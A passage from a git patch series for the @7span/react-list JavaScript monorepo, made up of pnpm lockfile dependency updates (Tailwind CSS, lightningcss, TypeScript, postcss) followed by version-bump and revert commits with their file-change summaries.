sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} + has-flag@4.0.0: resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} engines: {node: '>=8'} @@ -1189,6 +1390,10 @@ packages: isexe@2.0.0: resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + jiti@2.6.1: + resolution: {integrity: sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==} + hasBin: true + js-tokens@4.0.0: resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} @@ -1222,6 +1427,76 @@ packages: resolution: {integrity: sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==} engines: {node: '>= 0.8.0'} + lightningcss-android-arm64@1.32.0: + resolution: {integrity: sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [android] + + lightningcss-darwin-arm64@1.32.0: + resolution: {integrity: sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [darwin] + + lightningcss-darwin-x64@1.32.0: + resolution: {integrity: sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [darwin] + + lightningcss-freebsd-x64@1.32.0: + resolution: {integrity: sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [freebsd] + + lightningcss-linux-arm-gnueabihf@1.32.0: + resolution: {integrity: sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==} + engines: {node: '>= 12.0.0'} + cpu: [arm] + os: [linux] + + lightningcss-linux-arm64-gnu@1.32.0: + resolution: {integrity: sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [linux] + + lightningcss-linux-arm64-musl@1.32.0: + resolution: {integrity: sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [linux] + + lightningcss-linux-x64-gnu@1.32.0: + resolution: {integrity: sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [linux] + + lightningcss-linux-x64-musl@1.32.0: + resolution: {integrity: sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [linux] + + lightningcss-win32-arm64-msvc@1.32.0: + resolution: {integrity: sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [win32] + + lightningcss-win32-x64-msvc@1.32.0: + resolution: {integrity: sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [win32] + + lightningcss@1.32.0: + resolution: {integrity: sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==} + engines: {node: '>= 12.0.0'} + locate-path@6.0.0: resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==} engines: {node: '>=10'} @@ -1291,6 +1566,9 @@ packages: node-releases@2.0.19: resolution: {integrity: sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==} + node-releases@2.0.36: + resolution: {integrity: sha512-TdC8FSgHz8Mwtw9g5L4gR/Sh9XhSP/0DEkQxfEFXOpiul5IiHgHan2VhYYb6agDSfp4KuvltmGApc8HMgUrIkA==} + oniguruma-parser@0.12.1: resolution: {integrity: sha512-8Unqkvk1RYc6yq2WBYRj4hdnsAxVze8i7iPfQr8e4uSP3tRv0rpZcbGUDvxfQQcdwHt/e9PrMvGCsa8OqG9X3w==} @@ -1335,12 +1613,11 @@ packages: resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} engines: {node: '>=12'} - postcss@8.5.3: - resolution: {integrity: sha512-dle9A3yYxlBSrt8Fu+IpjGT8SY8hN0mlaA6GY8t0P5PjIOZemULz/E2Bnm/2dcUOena75OTNkHI76uZBNUUq3A==} - engines: {node: ^10 || ^12 || >=14} + postcss-value-parser@4.2.0: + resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} - postcss@8.5.6: - resolution: {integrity: sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==} + postcss@8.5.8: + resolution: {integrity: sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==} engines: {node: ^10 || ^12 || >=14} prelude-ls@1.2.1: @@ -1443,6 +1720,13 @@ packages: tabbable@6.3.0: resolution: {integrity: sha512-EIHvdY5bPLuWForiR/AN2Bxngzpuwn1is4asboytXtpTgsArc+WmSJKVLlhdh71u7jFcryDqB2A8lQvj78MkyQ==} + tailwindcss@4.2.2: + resolution: {integrity: sha512-KWBIxs1Xb6NoLdMVqhbhgwZf2PGBpPEiwOqgI4pFIYbNTfBXiKYyWoTsXgBQ9WFg/OlhnvHaY+AEpW7wSmFo2Q==} + + tapable@2.3.0: + resolution: {integrity: sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==} + engines: {node: '>=6'} + tinyglobby@0.2.13: resolution: {integrity: sha512-mEwzpUgrLySlveBwEVDMKk5B57bhLPYovRfPAXD5gA/98Opn0rCDj3GtLwFvCvH5RK9uPCExUROW5NjDwvqkxw==} engines: {node: '>=12.0.0'} @@ -1458,6 +1742,11 @@ packages: resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} engines: {node: '>= 0.8.0'} + typescript@5.9.3: + resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} + engines: {node: '>=14.17'} + hasBin: true + unist-util-is@6.0.1: resolution: {integrity: sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==} @@ -1479,6 +1768,12 @@ packages: peerDependencies: browserslist: '>= 4.21.0' + update-browserslist-db@1.2.3: + resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==} + hasBin: true + peerDependencies: + browserslist: '>= 4.21.0' + uri-js@4.4.1: resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} @@ -1612,6 +1907,8 @@ packages: snapshots: + '@alloc/quick-lru@5.2.0': {} + '@ampproject/remapping@2.3.0': dependencies: '@jridgewell/gen-mapping': 0.3.8 @@ -1821,9 +2118,9 @@ snapshots: '@esbuild/win32-x64@0.25.3': optional: true - '@eslint-community/eslint-utils@4.6.1(eslint@9.25.1)': + '@eslint-community/eslint-utils@4.6.1(eslint@9.25.1(jiti@2.6.1))': dependencies: - eslint: 9.25.1 + eslint: 9.25.1(jiti@2.6.1) eslint-visitor-keys: 3.4.3 '@eslint-community/regexpp@4.12.1': {} @@ -1892,21 +2189,24 @@ snapshots: '@jridgewell/gen-mapping@0.3.8': dependencies: '@jridgewell/set-array': 1.2.1 - '@jridgewell/sourcemap-codec': 1.5.0 + '@jridgewell/sourcemap-codec': 1.5.5 + '@jridgewell/trace-mapping': 0.3.25 + + '@jridgewell/remapping@2.3.5': + dependencies: + '@jridgewell/gen-mapping': 0.3.8 '@jridgewell/trace-mapping': 0.3.25 '@jridgewell/resolve-uri@3.1.2': {} '@jridgewell/set-array@1.2.1': {} - '@jridgewell/sourcemap-codec@1.5.0': {} - '@jridgewell/sourcemap-codec@1.5.5': {} '@jridgewell/trace-mapping@0.3.25': dependencies: '@jridgewell/resolve-uri': 3.1.2 - '@jridgewell/sourcemap-codec': 1.5.0 + '@jridgewell/sourcemap-codec': 1.5.5 '@rolldown/pluginutils@1.0.0-beta.53': {} @@ -2074,6 +2374,75 @@ snapshots: '@shikijs/vscode-textmate@10.0.2': {} + '@tailwindcss/node@4.2.2': + dependencies: + '@jridgewell/remapping': 2.3.5 + enhanced-resolve: 5.20.1 + jiti: 2.6.1 + lightningcss: 1.32.0 + magic-string: 0.30.21 + source-map-js: 1.2.1 + tailwindcss: 4.2.2 + + '@tailwindcss/oxide-android-arm64@4.2.2': + optional: true + + '@tailwindcss/oxide-darwin-arm64@4.2.2': + optional: true + + '@tailwindcss/oxide-darwin-x64@4.2.2': + optional: true + + '@tailwindcss/oxide-freebsd-x64@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-arm-gnueabihf@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-arm64-gnu@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-arm64-musl@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-x64-gnu@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-x64-musl@4.2.2': + optional: true + + '@tailwindcss/oxide-wasm32-wasi@4.2.2': + optional: true + + '@tailwindcss/oxide-win32-arm64-msvc@4.2.2': + optional: true + + '@tailwindcss/oxide-win32-x64-msvc@4.2.2': + optional: true + + '@tailwindcss/oxide@4.2.2': + optionalDependencies: + '@tailwindcss/oxide-android-arm64': 4.2.2 + '@tailwindcss/oxide-darwin-arm64': 4.2.2 + '@tailwindcss/oxide-darwin-x64': 4.2.2 + '@tailwindcss/oxide-freebsd-x64': 4.2.2 + '@tailwindcss/oxide-linux-arm-gnueabihf': 4.2.2 + '@tailwindcss/oxide-linux-arm64-gnu': 4.2.2 + '@tailwindcss/oxide-linux-arm64-musl': 4.2.2 + '@tailwindcss/oxide-linux-x64-gnu': 4.2.2 + '@tailwindcss/oxide-linux-x64-musl': 4.2.2 + '@tailwindcss/oxide-wasm32-wasi': 4.2.2 + '@tailwindcss/oxide-win32-arm64-msvc': 4.2.2 + '@tailwindcss/oxide-win32-x64-msvc': 4.2.2 + + '@tailwindcss/postcss@4.2.2': + dependencies: + '@alloc/quick-lru': 5.2.0 + '@tailwindcss/node': 4.2.2 + '@tailwindcss/oxide': 4.2.2 + postcss: 8.5.8 + tailwindcss: 4.2.2 + '@types/babel__core@7.20.5': dependencies: '@babel/parser': 7.27.0 @@ -2122,32 +2491,40 @@ snapshots: dependencies: '@types/react': 19.1.2 + '@types/react-dom@19.2.3(@types/react@19.2.14)': + dependencies: + '@types/react': 19.2.14 + '@types/react@19.1.2': dependencies: csstype: 3.1.3 + '@types/react@19.2.14': + dependencies: + csstype: 3.2.3 + '@types/unist@3.0.3': {} '@types/web-bluetooth@0.0.21': {} '@ungap/structured-clone@1.3.0': {} - '@vitejs/plugin-react@4.4.1(vite@6.3.3)': + '@vitejs/plugin-react@4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0))': dependencies: '@babel/core': 7.26.10 '@babel/plugin-transform-react-jsx-self': 7.25.9(@babel/core@7.26.10) '@babel/plugin-transform-react-jsx-source': 7.25.9(@babel/core@7.26.10) '@types/babel__core': 7.20.5 react-refresh: 0.17.0 - vite: 6.3.3 + vite: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) transitivePeerDependencies: - supports-color - '@vitejs/plugin-vue@6.0.3(vite@7.2.7)(vue@3.5.25)': + '@vitejs/plugin-vue@6.0.3(vite@7.2.7(jiti@2.6.1)(lightningcss@1.32.0))(vue@3.5.25(typescript@5.9.3))': dependencies: '@rolldown/pluginutils': 1.0.0-beta.53 - vite: 7.2.7 - vue: 3.5.25 + vite: 7.2.7(jiti@2.6.1)(lightningcss@1.32.0) + vue: 3.5.25(typescript@5.9.3) '@vue/compiler-core@3.5.25': dependencies: @@ -2171,7 +2548,7 @@ snapshots: '@vue/shared': 3.5.25 estree-walker: 2.0.2 magic-string: 0.30.21 - postcss: 8.5.6 + postcss: 8.5.8 source-map-js: 1.2.1 '@vue/compiler-ssr@3.5.25': @@ -2213,35 +2590,35 @@ snapshots: '@vue/shared': 3.5.25 csstype: 3.1.3 - '@vue/server-renderer@3.5.25(vue@3.5.25)': + '@vue/server-renderer@3.5.25(vue@3.5.25(typescript@5.9.3))': dependencies: '@vue/compiler-ssr': 3.5.25 '@vue/shared': 3.5.25 - vue: 3.5.25 + vue: 3.5.25(typescript@5.9.3) '@vue/shared@3.5.25': {} - '@vueuse/core@14.1.0(vue@3.5.25)': + '@vueuse/core@14.1.0(vue@3.5.25(typescript@5.9.3))': dependencies: '@types/web-bluetooth': 0.0.21 '@vueuse/metadata': 14.1.0 - '@vueuse/shared': 14.1.0(vue@3.5.25) - vue: 3.5.25 + '@vueuse/shared': 14.1.0(vue@3.5.25(typescript@5.9.3)) + vue: 3.5.25(typescript@5.9.3) - '@vueuse/integrations@14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25)': + '@vueuse/integrations@14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25(typescript@5.9.3))': dependencies: - '@vueuse/core': 14.1.0(vue@3.5.25) - '@vueuse/shared': 14.1.0(vue@3.5.25) - vue: 3.5.25 + '@vueuse/core': 14.1.0(vue@3.5.25(typescript@5.9.3)) + '@vueuse/shared': 14.1.0(vue@3.5.25(typescript@5.9.3)) + vue: 3.5.25(typescript@5.9.3) optionalDependencies: axios: 1.11.0 focus-trap: 7.6.6 '@vueuse/metadata@14.1.0': {} - '@vueuse/shared@14.1.0(vue@3.5.25)': + '@vueuse/shared@14.1.0(vue@3.5.25(typescript@5.9.3))': dependencies: - vue: 3.5.25 + vue: 3.5.25(typescript@5.9.3) acorn-jsx@5.3.2(acorn@8.14.1): dependencies: @@ -2264,6 +2641,15 @@ snapshots: asynckit@0.4.0: {} + autoprefixer@10.4.27(postcss@8.5.8): + dependencies: + browserslist: 4.28.1 + caniuse-lite: 1.0.30001780 + fraction.js: 5.3.4 + picocolors: 1.1.1 + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + axios@1.11.0: dependencies: follow-redirects: 1.15.11 @@ -2274,6 +2660,8 @@ snapshots: balanced-match@1.0.2: {} + baseline-browser-mapping@2.10.9: {} + birpc@2.9.0: {} brace-expansion@1.1.11: @@ -2283,11 +2671,19 @@ snapshots: browserslist@4.24.4: dependencies: - caniuse-lite: 1.0.30001715 + caniuse-lite: 1.0.30001780 electron-to-chromium: 1.5.141 node-releases: 2.0.19 update-browserslist-db: 1.1.3(browserslist@4.24.4) + browserslist@4.28.1: + dependencies: + baseline-browser-mapping: 2.10.9 + caniuse-lite: 1.0.30001780 + electron-to-chromium: 1.5.321 + node-releases: 2.0.36 + update-browserslist-db: 1.2.3(browserslist@4.28.1) + call-bind-apply-helpers@1.0.2: dependencies: es-errors: 1.3.0 @@ -2295,7 +2691,7 @@ snapshots: callsites@3.1.0: {} - caniuse-lite@1.0.30001715: {} + caniuse-lite@1.0.30001780: {} ccount@2.0.1: {} @@ -2336,6 +2732,8 @@ snapshots: csstype@3.1.3: {} + csstype@3.2.3: {} + debug@4.4.0: dependencies: ms: 2.1.3 @@ -2346,6 +2744,8 @@ snapshots: dequal@2.0.3: {} + detect-libc@2.1.2: {} + devlop@1.1.0: dependencies: dequal: 2.0.3 @@ -2358,6 +2758,13 @@ snapshots: electron-to-chromium@1.5.141: {} + electron-to-chromium@1.5.321: {} + + enhanced-resolve@5.20.1: + dependencies: + graceful-fs: 4.2.11 + tapable: 2.3.0 + entities@4.5.0: {} es-define-property@1.0.1: {} @@ -2407,13 +2814,13 @@ snapshots: escape-string-regexp@4.0.0: {} - eslint-plugin-react-hooks@5.2.0(eslint@9.25.1): + eslint-plugin-react-hooks@5.2.0(eslint@9.25.1(jiti@2.6.1)): dependencies: - eslint: 9.25.1 + eslint: 9.25.1(jiti@2.6.1) - eslint-plugin-react-refresh@0.4.20(eslint@9.25.1): + eslint-plugin-react-refresh@0.4.20(eslint@9.25.1(jiti@2.6.1)): dependencies: - eslint: 9.25.1 + eslint: 9.25.1(jiti@2.6.1) eslint-scope@8.3.0: dependencies: @@ -2424,9 +2831,9 @@ snapshots: eslint-visitor-keys@4.2.0: {} - eslint@9.25.1: + eslint@9.25.1(jiti@2.6.1): dependencies: - '@eslint-community/eslint-utils': 4.6.1(eslint@9.25.1) + '@eslint-community/eslint-utils': 4.6.1(eslint@9.25.1(jiti@2.6.1)) '@eslint-community/regexpp': 4.12.1 '@eslint/config-array': 0.20.0 '@eslint/config-helpers': 0.2.1 @@ -2461,6 +2868,8 @@ snapshots: minimatch: 3.1.2 natural-compare: 1.4.0 optionator: 0.9.4 + optionalDependencies: + jiti: 2.6.1 transitivePeerDependencies: - supports-color @@ -2528,6 +2937,8 @@ snapshots: hasown: 2.0.2 mime-types: 2.1.35 + fraction.js@5.3.4: {} + fsevents@2.3.3: optional: true @@ -2565,6 +2976,8 @@ snapshots: gopd@1.2.0: {} + graceful-fs@4.2.11: {} + has-flag@4.0.0: {} has-symbols@1.1.0: {} @@ -2620,6 +3033,8 @@ snapshots: isexe@2.0.0: {} + jiti@2.6.1: {} + js-tokens@4.0.0: {} js-yaml@4.1.0: @@ -2645,6 +3060,55 @@ snapshots: prelude-ls: 1.2.1 type-check: 0.4.0 + lightningcss-android-arm64@1.32.0: + optional: true + + lightningcss-darwin-arm64@1.32.0: + optional: true + + lightningcss-darwin-x64@1.32.0: + optional: true + + lightningcss-freebsd-x64@1.32.0: + optional: true + + lightningcss-linux-arm-gnueabihf@1.32.0: + optional: true + + lightningcss-linux-arm64-gnu@1.32.0: + optional: true + + lightningcss-linux-arm64-musl@1.32.0: + optional: true + + lightningcss-linux-x64-gnu@1.32.0: + optional: true + + lightningcss-linux-x64-musl@1.32.0: + optional: true + + lightningcss-win32-arm64-msvc@1.32.0: + optional: true + + lightningcss-win32-x64-msvc@1.32.0: + optional: true + + lightningcss@1.32.0: + dependencies: + detect-libc: 2.1.2 + optionalDependencies: + lightningcss-android-arm64: 1.32.0 + lightningcss-darwin-arm64: 1.32.0 + lightningcss-darwin-x64: 1.32.0 + lightningcss-freebsd-x64: 1.32.0 + lightningcss-linux-arm-gnueabihf: 1.32.0 + lightningcss-linux-arm64-gnu: 1.32.0 + lightningcss-linux-arm64-musl: 1.32.0 + lightningcss-linux-x64-gnu: 1.32.0 + lightningcss-linux-x64-musl: 1.32.0 + lightningcss-win32-arm64-msvc: 1.32.0 + lightningcss-win32-x64-msvc: 1.32.0 + locate-path@6.0.0: dependencies: p-locate: 5.0.0 @@ -2714,6 +3178,8 @@ snapshots: node-releases@2.0.19: {} + node-releases@2.0.36: {} + oniguruma-parser@0.12.1: {} oniguruma-to-es@4.3.4: @@ -2755,13 +3221,9 @@ snapshots: picomatch@4.0.3: {} - postcss@8.5.3: - dependencies: - nanoid: 3.3.11 - picocolors: 1.1.1 - source-map-js: 1.2.1 + postcss-value-parser@4.2.0: {} - postcss@8.5.6: + postcss@8.5.8: dependencies: nanoid: 3.3.11 picocolors: 1.1.1 @@ -2896,6 +3358,10 @@ snapshots: tabbable@6.3.0: {} + tailwindcss@4.2.2: {} + + tapable@2.3.0: {} + tinyglobby@0.2.13: dependencies: fdir: 6.4.4(picomatch@4.0.2) @@ -2912,6 +3378,8 @@ snapshots: dependencies: prelude-ls: 1.2.1 + typescript@5.9.3: {} + unist-util-is@6.0.1: dependencies: '@types/unist': 3.0.3 @@ -2941,6 +3409,12 @@ snapshots: escalade: 3.2.0 picocolors: 1.1.1 + update-browserslist-db@1.2.3(browserslist@4.28.1): + dependencies: + browserslist: 4.28.1 + escalade: 3.2.0 + picocolors: 1.1.1 + uri-js@4.4.1: dependencies: punycode: 2.3.1 @@ -2955,29 +3429,33 @@ snapshots: '@types/unist': 3.0.3 vfile-message: 4.0.3 - vite@6.3.3: + vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0): dependencies: esbuild: 0.25.3 fdir: 6.4.4(picomatch@4.0.2) picomatch: 4.0.2 - postcss: 8.5.3 + postcss: 8.5.8 rollup: 4.40.0 tinyglobby: 0.2.13 optionalDependencies: fsevents: 2.3.3 + jiti: 2.6.1 + lightningcss: 1.32.0 - vite@7.2.7: + vite@7.2.7(jiti@2.6.1)(lightningcss@1.32.0): dependencies: esbuild: 0.25.3 fdir: 6.5.0(picomatch@4.0.3) picomatch: 4.0.3 - postcss: 8.5.6 + postcss: 8.5.8 rollup: 4.53.3 tinyglobby: 0.2.15 optionalDependencies: fsevents: 2.3.3 + jiti: 2.6.1 + lightningcss: 1.32.0 - vitepress@2.0.0-alpha.15(axios@1.11.0)(postcss@8.5.6): + vitepress@2.0.0-alpha.15(axios@1.11.0)(jiti@2.6.1)(lightningcss@1.32.0)(postcss@8.5.8)(typescript@5.9.3): dependencies: '@docsearch/css': 4.3.2 '@docsearch/js': 4.3.2 @@ -2986,19 +3464,19 @@ snapshots: '@shikijs/transformers': 3.20.0 '@shikijs/types': 3.20.0 '@types/markdown-it': 14.1.2 - '@vitejs/plugin-vue': 6.0.3(vite@7.2.7)(vue@3.5.25) + '@vitejs/plugin-vue': 6.0.3(vite@7.2.7(jiti@2.6.1)(lightningcss@1.32.0))(vue@3.5.25(typescript@5.9.3)) '@vue/devtools-api': 8.0.5 '@vue/shared': 3.5.25 - '@vueuse/core': 14.1.0(vue@3.5.25) - '@vueuse/integrations': 14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25) + '@vueuse/core': 14.1.0(vue@3.5.25(typescript@5.9.3)) + '@vueuse/integrations': 14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25(typescript@5.9.3)) focus-trap: 7.6.6 mark.js: 8.11.1 minisearch: 7.2.0 shiki: 3.20.0 - vite: 7.2.7 - vue: 3.5.25 + vite: 7.2.7(jiti@2.6.1)(lightningcss@1.32.0) + vue: 3.5.25(typescript@5.9.3) optionalDependencies: - postcss: 8.5.6 + postcss: 8.5.8 transitivePeerDependencies: - '@types/node' - async-validator @@ -3024,13 +3502,15 @@ snapshots: - universal-cookie - yaml - vue@3.5.25: + vue@3.5.25(typescript@5.9.3): dependencies: '@vue/compiler-dom': 3.5.25 '@vue/compiler-sfc': 3.5.25 '@vue/runtime-dom': 3.5.25 - '@vue/server-renderer': 3.5.25(vue@3.5.25) + '@vue/server-renderer': 3.5.25(vue@3.5.25(typescript@5.9.3)) '@vue/shared': 3.5.25 + optionalDependencies: + typescript: 5.9.3 which@2.0.2: dependencies: From 7162a1d9583944a9833b2884074be48ae883e0af Mon Sep 17 00:00:00 2001 From: darshak-7span Date: Fri, 20 Mar 2026 18:51:55 +0530 Subject: [PATCH 2/7] Update package version to 1.1.0 for @7span/react-list --- packages/react-list/package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/react-list/package.json b/packages/react-list/package.json index 6163710..9ed6aa8 100644 --- a/packages/react-list/package.json +++ b/packages/react-list/package.json @@ -1,6 +1,6 @@ { "name": "@7span/react-list", - "version": "1.0.2", + "version": "1.1.0", "description": "A simple and reusable list component for React", "type": "module", "scripts": { From 118f9f73dca1fecee370a1708c4737e640a2cd80 Mon Sep 17 00:00:00 2001 From: darshak-7span Date: Fri, 20 Mar 2026 18:56:05 +0530 Subject: [PATCH 3/7] Revert "Update package version to 1.1.0 for @7span/react-list" This reverts commit 7162a1d9583944a9833b2884074be48ae883e0af. --- packages/react-list/package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/react-list/package.json b/packages/react-list/package.json index 9ed6aa8..6163710 100644 --- a/packages/react-list/package.json +++ b/packages/react-list/package.json @@ -1,6 +1,6 @@ { "name": "@7span/react-list", - "version": "1.1.0", + "version": "1.0.2", "description": "A simple and reusable list component for React", "type": "module", "scripts": { From c7842fee441853a5ba079f2d5a72a626cae3a184 Mon Sep 17 00:00:00 2001 From: darshak-7span Date: Fri, 20 Mar 2026 18:58:42 +0530 Subject: [PATCH 4/7] Revert "Enhance playground and TypeScript setup: integrate Tailwind CSS, update dependencies, and add new components for improved list functionality." This reverts commit bafe2908267536c12650cd87ec2f8b3974b54fa4. --- apps/playground-typescript/index.html | 14 - apps/playground-typescript/package.json | 29 - apps/playground-typescript/postcss.config.mjs | 6 - apps/playground-typescript/src/App.tsx | 6 - .../src/api/request-handler.ts | 87 --- .../src/components/list-wrapper.tsx | 298 -------- .../src/components/react-list.ts | 75 -- apps/playground-typescript/src/index.css | 2 - apps/playground-typescript/src/main.tsx | 11 - apps/playground-typescript/tailwind.config.js | 8 - apps/playground-typescript/tsconfig.json | 16 - apps/playground-typescript/vite.config.ts | 7 - apps/playground/package.json | 10 +- apps/playground/postcss.config.js | 6 - .../src/components/list-wrapper.jsx | 654 ++++++++++-------- apps/playground/src/index.css | 10 +- apps/playground/tailwind.config.js | 9 - packages/react-list/package.json | 21 +- .../react-list/src/components/attributes.jsx | 53 ++ .../react-list/src/components/attributes.tsx | 87 --- .../src/components/{empty.tsx => empty.jsx} | 6 +- .../src/components/{error.tsx => error.jsx} | 9 +- .../src/components/{go-to.tsx => go-to.jsx} | 20 +- .../src/components/initial-loader.jsx | 25 + .../src/components/initial-loader.tsx | 40 -- .../src/components/{items.tsx => items.jsx} | 24 +- .../src/components/{list.tsx => list.jsx} | 94 +-- .../{load-more.tsx => load-more.jsx} | 14 +- packages/react-list/src/components/loader.jsx | 29 + packages/react-list/src/components/loader.tsx | 39 -- .../{pagination.tsx => pagination.jsx} | 46 +- .../components/{per-page.tsx => per-page.jsx} | 48 +- .../components/{refresh.tsx => refresh.jsx} | 18 +- packages/react-list/src/components/search.jsx | 59 ++ packages/react-list/src/components/search.tsx | 75 -- .../components/{summary.tsx => summary.jsx} | 23 +- .../src/components/{utils.ts => utils.js} | 23 +- .../react-list/src/context/list-provider.jsx | 55 ++ .../react-list/src/context/list-provider.tsx | 91 --- .../react-list/src/{index.ts => index.js} | 22 - packages/react-list/src/types/index.ts | 22 - .../react-list/src/types/list-provider.ts | 156 ----- packages/react-list/src/types/react-list.ts | 39 -- .../react-list/src/{utils.ts => utils.js} | 0 packages/react-list/tsconfig.build.json | 18 - packages/react-list/tsconfig.json | 6 - pnpm-lock.yaml | 616 ++--------------- 47 files changed, 723 insertions(+), 2303 deletions(-) delete mode 100644 apps/playground-typescript/index.html delete mode 100644 apps/playground-typescript/package.json delete mode 100644 apps/playground-typescript/postcss.config.mjs delete mode 100644 apps/playground-typescript/src/App.tsx delete mode 100644 apps/playground-typescript/src/api/request-handler.ts delete mode 100644 apps/playground-typescript/src/components/list-wrapper.tsx delete mode 100644 apps/playground-typescript/src/components/react-list.ts delete mode 100644 apps/playground-typescript/src/index.css delete mode 100644 apps/playground-typescript/src/main.tsx delete mode 100644 apps/playground-typescript/tailwind.config.js delete mode 100644 apps/playground-typescript/tsconfig.json 